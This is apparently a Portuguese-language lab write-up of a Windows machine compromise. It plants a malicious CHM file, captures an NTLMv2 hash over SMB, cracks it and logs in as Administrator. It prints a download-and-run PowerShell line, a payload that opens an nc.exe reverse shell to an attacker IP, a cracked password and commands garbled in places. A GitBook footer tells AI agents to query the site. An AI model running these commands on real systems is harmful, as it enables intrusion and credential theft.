> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.chm-file-pentesting-web.md).

# Upload de arquivo e captura de NTLMv2 .chm

**Exploração do diretório "docs":**/ No **Windows** raiz, encontramos uma **docs** pasta contendo um arquivo `note.txt` com a mensagem abaixo:

<figure><img src="/files/7b2b517f86efe9daef445884adfb01d429c9bb6f" alt=""><figcaption></figcaption></figure>

> Salut Chris,
>
> Suas habilidades em PHP são realmente ruins. Entre em contato com Yamitenshi para que eles possam te ensinar a usá-lo, depois conserte o site porque há muitos bugs. Também espero que você tenha preparado a documentação para nossa nova aplicação. Coloque-a aqui quando terminar.
>
> Atenciosamente,/ Sniper CEO. **Busca da documentação no sistema:**/ Procuramos a documentação mencionada pelo CEO e a encontramos no diretório **Downloads** no arquivo **instructions.chm**.

<figure><img src="/files/8d182259ba1ea74c8c93958bc49a4e697f4fe400" alt="" width="563"><figcaption></figcaption></figure>

### **Criação de arquivo CHM malicioso:**

Depois de descobrirmos que o CEO queria revisar arquivos **CHM** no diretório **docs**, pesquisamos online como criar arquivos CHM maliciosos.

{% embed url="<https://github.com/samratashok/nishang/blob/master/Clinkt/Out-CHM.ps1>" %}

**Download da ferramenta HTML Help:**/ Baixamos **HTML Help** e usamos um script PowerShell para criar um arquivo CHM malicioso

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClinkt).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Clinkt/Out-CHM.ps1')

```

Depois, modificamos o script para executar um comando malicioso remotamente via **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"

```

<figure><img src="/files/007ae7c3afd07213ddfd2c67c09b8b0f5e35701d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6841d5d9e6a8b2a9a44974caf3415b88ce93437c" alt="" width="563"><figcaption></figcaption></figure>

**Injeção do arquivo CHM malicioso no diretório de destino:**/ Configuramos um servidor SMB na nossa máquina atacante para transferir o arquivo malicioso para a máquina Windows de destino:

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234

```

**Conexão ao compartilhamento SMB a partir da máquina da vítima:**/ A partir da máquina Windows de destino, montamos o compartilhamento SMB e copiamos o arquivo malicioso `doc.chm`:

```powershell
e use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm

```

**Inicie um listener de shell reversa:**/ Iniciamos um listener na nossa máquina atacante, aguardando uma shell reversa de login:

```bash
rlwrap nc -nlvp 443

```

<figure><img src="/files/c127611f932d2948a03e1ac1a4a406e8517dd4fa" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6d52e4312effe63d278c88d8036f01f34b875c48" alt="" width="563"><figcaption></figcaption></figure>

**Problema encontrado:**/ Embora o arquivo CHM tenha sido aberto, não recebemos uma shell reversa. No entanto, capturamos com sucesso um **SMB Relay V2** no nosso servidor. Isso forneceu um hash de autenticação para o usuário `Administrator`

<figure><img src="/files/eb23c8cd88815cf6c9bc07d9e1a45dd6c91a6e06" alt=""><figcaption></figcaption></figure>

#### **Quebra do hash do administrador:**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`Administrator:butterfly!#1`

<figure><img src="/files/a5c9d371875f33d7a600ae6602ce4f92130b6529" alt=""><figcaption></figcaption></figure>

#### **Conexão como administrador:**

Com as credenciais obtidas, usamos **Evil-WinRM** para conectar à máquina como administrador:

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'

```

<figure><img src="/files/8d98ecbec00fad77e8620690104a540171864f83" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.chm-file-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
